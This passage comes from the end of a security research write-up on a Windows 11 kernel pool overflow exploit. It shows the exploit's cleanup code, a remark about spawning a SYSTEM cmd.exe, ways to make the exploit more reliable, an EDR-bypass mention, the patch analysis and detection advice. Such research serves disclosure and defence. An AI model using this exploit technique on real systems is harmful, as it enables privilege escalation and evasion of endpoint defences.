for (int i = 0; i < SPRAY_PIPE_COUNT; i++) {
if (!CloseHandle(spray_pipes[i].pipe_read)) {
std::cout << "CloseHandle failed with error 0x" << std::hex << result << std::endl;
}
if (!CloseHandle(spray_pipes[i].pipe_write)) {
std::cout << "CloseHandle failed with error 0x" << std::hex << result << std::endl;
}
}
for (auto& state : statenames1) {
result = fNtDeleteWnfStateName(&state);
if (result != 0) {
std::cout << "NtDeleteWnfStateName returned " << std::hex << result << std::endl;
}
}
for (auto& state : statenames2) {
result = fNtDeleteWnfStateName(&state);
if (result != 0) {
std::cout << "NtDeleteWnfStateName returned " << std::hex << result << std::endl;
}
}
for (auto& state : statenames3) {
result = fNtDeleteWnfStateName(&state);
if (result != 0) {
std::cout << "NtDeleteWnfStateName returned " << std::hex << result << std::endl;
}
}
//std::cout << Hexdump(buffer, max_corrupted->get()->dataSize) << std::endl << std::endl;
return 0;
}
Note: The cleanup procedure should be performed before calling system("cmd.exe")
.
Below is the expected outcome when the exploit is successful.

Limitations and Improvements
The size of the overflow cannot be fully controlled, but it is approximately 0xfff0 bytes. This means that sometimes it may trigger a crash if the overflow occurs in a non-paged pool area. Adjusting the spraying technique could help mitigate this issue.
The free-realloc mechanism is not always successful. Other drivers may allocate objects of the same size during the free and allocate operations. This can be partially mitigated by using other corrupted WNF_STATE_DATA objects in a while loop (the 0xfff0 overflow allows potential control over many WNF_STATE_DATA objects). Hopefully, at least one attempt should succeed.
The PoC relies on hardcoded offsets. Most of offsets for functions and within data structures can be fetched from the PDB symbol server.
Patch Analysis
The Microsoft’s patch introduces a check for the overflow before calling ExAllocatePool2(), as outlined below.

Detection
I suggest monitoring calls to NtCreateCrossVmEvent() and NtCreateCrossVmMutant(). If the call specifies a non-NULL OBJECT_ATTRIBUTES structure containing a SECURITY_DESCRIPTOR with a DACL whose AclSize is ≥ 0xffb0, this could be a strong indication of an exploitation attempt.
Other, more generic detections could involve noticing numerous calls to CreatePipe(), CreateIoRing(), or NtCreateWnfStateName() / NtUpdateWnfStateData(). This suggests that the suspicious process is trying to spray a large number of objects.
A generic detection method employed by EDRs is to observe if the TOKEN address of a process changes from an unprivileged user to SYSTEM. While this detection is effective for identifying PoC exploits like the one described, it may be unreliable when detecting more sophisticated threat actors. An attacker with arbitrary read/write primitives in kernel space could bypass EDR detection by disabling all callbacks registered by EDR drivers in the kernel. These techniques are well documented in the EDRSandblast project.
Conclusion
The article first analyzed the vulnerability and explained how to exploit it in a Windows 11 23H2 environment, using a variant of the I/O Ring technique to achieve arbitrary read/write in kernel space.
It discussed the limitations of the proof of concept (PoC) and proposed improvements. The article then reviewed the patch applied by Microsoft to address the issue.
Finally, it suggested strategies for detecting (and potentially preventing) exploitation attempts of the vulnerability.
References
- https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf
- https://www.nccgroup.com/us/research-blog/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/
- https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/
- https://medium.com/yarden-shafir/yes-more-callbacks-the-kernel-extension-mechanism-c7300119a37a
Acknowledgments
Contacts
If you have any questions, feel free to reach out at: